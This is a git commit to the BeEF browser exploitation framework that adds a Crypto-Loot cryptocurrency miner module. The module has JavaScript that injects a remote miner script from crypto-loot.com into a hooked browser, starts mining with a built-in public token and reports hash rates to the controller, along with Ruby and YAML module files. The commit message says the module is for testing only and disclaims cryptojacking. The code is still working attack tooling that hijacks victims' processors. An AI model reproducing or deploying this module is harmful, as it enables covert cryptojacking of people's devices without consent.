Crypto-Loot miner intergration

This integration provides in the misc modules a
crypto-loot miner. It is similar  to coinhive miner
and is inspired by it.

It is designed to be used for test purposes only.
Please, do not use it on people who haven't
given their consent. I.e. no cryptojacking.

In no way the author of this integration are
responsible for the use of it. We also
have no relation to crypto-loot.
This commit is contained in:
Zaur
2017-11-16 20:07:38 +01:00
parent 22e7ded355
commit cfa652d532
4 changed files with 122 additions and 0 deletions

View File

@@ -230,6 +230,13 @@ beef.dom = {
return form;
},
loadScript: function(url) {
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = url;
$j('body').append(s);
},
/**
* Get the location of the current page.
* @return: the location.

View File

@@ -0,0 +1,67 @@
//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Crypto-Loot integration, Zaur Molotnikov, 2017
// Only for the use for test purposes!
// Inspired by coinhive integration (copied and modified)
//
beef.execute(function() {
var comm_url = '<%= @command_url %>';
var comm_id = <%= @command_id %>;
var report_interval = +(<%= @report_interval %>) * 1000; // to miliseconds
beef.debug("[CryptoLoot] Loading library...");
beef.net.send(comm_url, comm_id, "[CryptoLoot] Loading library...");
beef.dom.loadScript('https://crypto-loot.com/lib/miner.min.js');
try {
setTimeout("mine('<%= @public_token %>')", 10000);
} catch(e) {
beef.debug("[CryptoLoot] Error loading miner: " + e.message);
beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
return;
}
mine = function(token) {
beef.debug("[CryptoLoot] Starting the miner...");
beef.net.send(comm_url, comm_id, 'result=Starting the miner...');
try {
var miner = new CryptoLoot.Anonymous(token);
miner.start();
} catch(e) {
beef.debug("[CryptoLoot] Error starting miner: " + e.message);
beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
return;
}
beef.debug("[CryptoLoot] setting triggers");
miner.on('found', function() {
beef.debug("[CryptoLoot] Hash found");
});
beef.debug("[CryptoLoot] 'found' trigger set");
miner.on('accepted', function() {
beef.debug("[CryptoLoot] Hash accepted by the pool");
});
beef.debug("[CryptoLoot] 'accepted' trigger set");
setInterval(function() {
beef.debug("[CryptoLoot] Miner progress:");
beef.net.send(comm_url, comm_id, "[CryptoLoot] Miner progress:");
if (miner.isRunning()) {
var hashesPerSecond = miner.getHashesPerSecond();
var totalHashes = miner.getTotalHashes();
var acceptedHashes = miner.getAcceptedHashes();
beef.debug("[CryptoLoot] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond);
beef.net.send(comm_url, comm_id, "[CryptoLoot] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond);
}
}, report_interval)
}
});

View File

@@ -0,0 +1,19 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Module by Zaur Molotnikov, 2017
# For the use in test purposes only
# Inspired by coinhive integration (copied and modified)
#
beef:
module:
cryptoloot_miner:
enable: true
category: "Misc"
name: "Crypto-Loot Miner"
description: "This module starts the Crypto-Loot Miner."
authors: ["qutorial"]
target:
user_notify: ['ALL']

View File

@@ -0,0 +1,29 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This module is written by Zaur Molotnikov, 2017
# Only for the use for test purposes!
# Inspired by the coinhive miner integration (copied and modified).
#
class Cryptoloot_miner < BeEF::Core::Command
def self.options
[{ 'name' => 'public_token',
'description' => 'Public Token',
'ui_label' => 'Public Token',
'value' => 'ae5c906cfd37610626e86e25786866d6d2ff1c258d5f',
'type' => 'text'
},
{ 'name' => 'report_interval',
'description' => 'Report Interval (in seconds)',
'ui_label' => 'Report Interval (s)',
'value' => '30',
'type' => 'text'
}]
end
def post_execute
save({'result' => @datastore['result']})
end
end